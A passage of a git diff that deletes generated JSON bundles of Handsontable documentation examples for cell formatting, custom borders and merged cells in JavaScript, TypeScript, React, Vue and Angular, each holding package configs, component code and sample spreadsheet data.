    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example3');\nnew Handsontable(container, {\n data: [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ],\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n autoWrapRow: true,\n autoWrapCol: true,\n stretchH: 'all',\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n customBorders: [\n {\n range: {\n from: {\n row: 1,\n col: 1,\n },\n to: {\n row: 3,\n col: 4,\n },\n },\n top: {\n width: 2,\n color: '#5292F7',\n style: 'dotted',\n },\n bottom: {\n width: 2,\n color: 'red',\n },\n start: {\n width: 2,\n color: 'orange',\n style: 'dashed',\n },\n end: {\n width: 2,\n color: 'magenta',\n },\n },\n {\n row: 2,\n col: 2,\n start: {\n width: 2,\n color: 'red',\n },\n end: {\n width: 1,\n color: 'green',\n },\n },\n ],\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/formatting-cells/javascript/example3.js","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example3","exampleTitle":"Custom cell borders","docPermalink":"/formatting-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example3.ts.json deleted file mode 100644 index 1f878af1..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__javascript__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Formatting cells · Custom cell borders · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n data: [\n ['SKU-4821', 'Laptop Pro 15', 'Electronics', 149900, 42],\n ['SKU-0093', 'Wireless Mouse', 'Peripherals', 2999, 218],\n ['SKU-7712', 'USB-C Hub 7-port', 'Peripherals', 5499, 0],\n ['SKU-3305', 'Mech. Keyboard', 'Peripherals', 8999, 67],\n ['SKU-9140', '4K Monitor 27\"', 'Electronics', 34999, 15],\n ],\n rowHeaders: true,\n colHeaders: ['SKU', 'Product', 'Category', 'Price ($)', 'Stock'],\n autoWrapRow: true,\n autoWrapCol: true,\n stretchH: 'all',\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n customBorders: [\n {\n range: {\n from: {\n row: 1,\n col: 1,\n },\n to: {\n row: 3,\n col: 4,\n },\n },\n top: {\n width: 2,\n color: '#5292F7',\n style: 'dotted',\n },\n bottom: {\n width: 2,\n color: 'red',\n },\n start: {\n width: 2,\n color: 'orange',\n style: 'dashed',\n },\n end: {\n width: 2,\n color: 'magenta',\n },\n },\n {\n row: 2,\n col: 2,\n start: {\n width: 2,\n color: 'red',\n },\n end: {\n width: 1,\n color: 'green',\n },\n },\n ],\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/formatting-cells/javascript/example3.ts","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example3","exampleTitle":"Custom cell borders","docPermalink":"/formatting-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__react__example1.tsx.json deleted file mode 100644 index e45ddf30..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__react__example1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Formatting cells · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;","/src/styles.css":"td.custom-cell {\n color: #fff !important;\n background-color: #254ac6 !important;\n}\n.custom-table thead th:nth-child(even),\n.custom-table tbody tr:nth-child(odd) th {\n color: #fff !important;\n background-color: #254ac6 !important;\n}"},"docsPath":"guides/cell-features/formatting-cells/react/example1.tsx","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formatting-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__react__example2.tsx.json deleted file mode 100644 index a4d02fa7..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__react__example2.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Formatting cells · Apply inline styles · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer, registerRenderer } from 'handsontable/renderers';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n registerRenderer('customStylesRenderer', (hotInstance, TD, ...rest) => {\n textRenderer(hotInstance, TD, ...rest);\n\n TD.style.fontWeight = 'bold';\n TD.style.color = 'green';\n TD.style.background = '#d7f1e1';\n });\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/formatting-cells/react/example2.tsx","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example2","exampleTitle":"Apply inline styles","docPermalink":"/formatting-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__react__example3.tsx.json deleted file mode 100644 index f1e2d643..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__react__example3.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Formatting cells · Custom cell borders · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/formatting-cells/react/example3.tsx","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example3","exampleTitle":"Custom cell borders","docPermalink":"/formatting-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__vue__example1.vue.json deleted file mode 100644 index 910649a3..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Formatting cells · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/cell-features/formatting-cells/vue/example1.vue","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formatting-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__vue__example2.vue.json deleted file mode 100644 index deb234c3..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__vue__example2.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Formatting cells · Apply inline styles · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/formatting-cells/vue/example2.vue","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example2","exampleTitle":"Apply inline styles","docPermalink":"/formatting-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__vue__example3.vue.json deleted file mode 100644 index ff5d8faf..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__vue__example3.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Formatting cells · Custom cell borders · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/formatting-cells/vue/example3.vue","breadcrumb":["Cell Features","Formatting cells"],"guide":"guides/cell-features/formatting-cells/formatting-cells.md","guideTitle":"Formatting cells","exampleId":"example3","exampleTitle":"Custom cell borders","docPermalink":"/formatting-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__angular__example3.ts.json deleted file mode 100644 index 9af6a316..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__angular__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Merge cells · React to merge and unmerge events · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport { CellRange } from 'handsontable/base';\n\n@Component({\n selector: 'example3-merge-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `\n {{\n output ||\n 'Select cells, then press Ctrl+M (or use the context menu) to merge or unmerge them. Hook activity appears here.'\n }}\n
    \n \n
    \n `,\n})\nexport class AppComponent {\n output = '';\n\n readonly data = [\n ['North America', 420000, 465000, 501000],\n ['Europe', 388000, 402000, 411000],\n ['APAC', 275000, 298000, 312000],\n ['Latin America', 142000, 151000, 158000],\n ['Middle East', 96000, 101000, 108000],\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Region', 'Jan 2025', 'Feb 2025', 'Mar 2025'],\n rowHeaders: true,\n height: 'auto',\n contextMenu: true,\n mergeCells: true,\n autoWrapRow: true,\n autoWrapCol: true,\n beforeMergeCells: (cellRange: CellRange) => {\n this.logEvent(`beforeMergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n afterMergeCells: (\n cellRange: CellRange,\n mergeParent: { row: number; col: number; rowspan: number; colspan: number }\n ) => {\n this.logEvent(`afterMergeCells: merged into ${mergeParent.rowspan} row(s) by ${mergeParent.colspan} column(s).`);\n },\n beforeUnmergeCells: (cellRange: CellRange) => {\n this.logEvent(`beforeUnmergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n afterUnmergeCells: (cellRange: CellRange) => {\n this.logEvent(`afterUnmergeCells: rows ${cellRange.from.row}-${cellRange.to.row}, columns ${cellRange.from.col}-${cellRange.to.col}.`);\n },\n };\n\n private logEvent(message: string): void {\n this.output = `${message}\\n${this.output}`;\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/merge-cells/angular/example3.ts","breadcrumb":["Cell Features","Merge cells"],"guide":"guides/cell-features/merge-cells/merge-cells.md","guideTitle":"Merge cells","exampleId":"example3","exampleTitle":"React to merge and unmerge events","docPermalink":"/merge-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__angular__example4.ts.json deleted file mode 100644 index 0599a94e..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__merge-cells__angular__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Merge cells · Merge and unmerge cells programmatically · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example4-merge-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
    \n
    \n \n \n
    \n
    \n
    \n \n
